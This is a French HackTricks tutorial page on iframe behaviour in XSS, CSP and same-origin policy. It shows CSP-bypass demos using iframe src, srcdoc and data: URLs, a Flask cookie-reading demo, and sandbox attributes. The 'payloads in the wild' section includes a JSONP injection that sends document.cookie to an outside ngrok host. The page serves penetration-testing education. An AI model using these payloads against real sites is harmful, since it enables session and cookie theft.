8.3 KiB
Iframes dans XSS, CSP et SOP
Il existe 3 façons d'indiquer le contenu d'une page iframée :
- Via
src
indiquant une URL (l'URL peut être de même origine ou de croisement d'origine) - Via
src
indiquant le contenu en utilisant le protocoledata:
- Via
srcdoc
indiquant le contenu
Accès aux variables parent et enfant
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
Si vous accédez au code HTML précédent via un serveur HTTP (comme python3 -m http.server
), vous remarquerez que tous les scripts seront exécutés (car il n'y a pas de CSP pour l'empêcher). Le parent ne pourra pas accéder à la variable secret
à l'intérieur de n'importe quel iframe et seuls les iframes if2 et if3 (considérés comme étant du même site) peuvent accéder au secret dans la fenêtre d'origine.
Notez comment if4 est considéré comme ayant une origine null
.
Iframes avec CSP
{% hint style="info" %} Veuillez noter que dans les contournements suivants, la réponse à la page en iframing ne contient aucun en-tête CSP qui empêche l'exécution de JS. {% endhint %}
La valeur self
de script-src
n'autorisera pas l'exécution du code JS en utilisant le protocole data:
ou l'attribut srcdoc
.
Cependant, même la valeur none
du CSP permettra l'exécution des iframes qui mettent une URL (complète ou juste le chemin) dans l'attribut src
.
Il est donc possible de contourner le CSP d'une page avec:
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Notez comment la CSP précédente ne permet l'exécution que du script en ligne.
Cependant, seuls les scripts if1
et if2
vont être exécutés mais seul if1
pourra accéder au secret parent.
Par conséquent, il est possible de contourner une CSP si vous pouvez télécharger un fichier JS sur le serveur et le charger via iframe même avec script-src 'none'
. Cela peut potentiellement être également fait en abusant d'un point de terminaison same-site JSONP.
Vous pouvez tester cela avec le scénario suivant où un cookie est volé même avec script-src 'none'
. Il suffit de lancer l'application et d'y accéder avec votre navigateur :
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Autres Payloads trouvés dans la nature
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
L'attribut sandbox
permet d'appliquer un ensemble supplémentaire de restrictions au contenu dans l'iframe. Par défaut, aucune restriction n'est appliquée.
Lorsque l'attribut sandbox
est présent, il va :
- traiter le contenu comme provenant d'une origine unique
- bloquer la soumission de formulaire
- bloquer l'exécution de script
- désactiver les APIs
- empêcher les liens de cibler d'autres contextes de navigation
- empêcher le contenu d'utiliser des plugins (via
<embed>
,<object>
,<applet>
, ou autre) - empêcher le contenu de naviguer dans son contexte de navigation de niveau supérieur
- bloquer les fonctionnalités déclenchées automatiquement (telles que la lecture automatique d'une vidéo ou la mise au point automatique d'un contrôle de formulaire)
La valeur de l'attribut sandbox
peut être soit vide (alors toutes les restrictions sont appliquées), soit une liste de valeurs prédéfinies séparées par des espaces qui SUPPRIMENT les restrictions particulières.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Iframes dans SOP
Vérifiez les pages suivantes:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.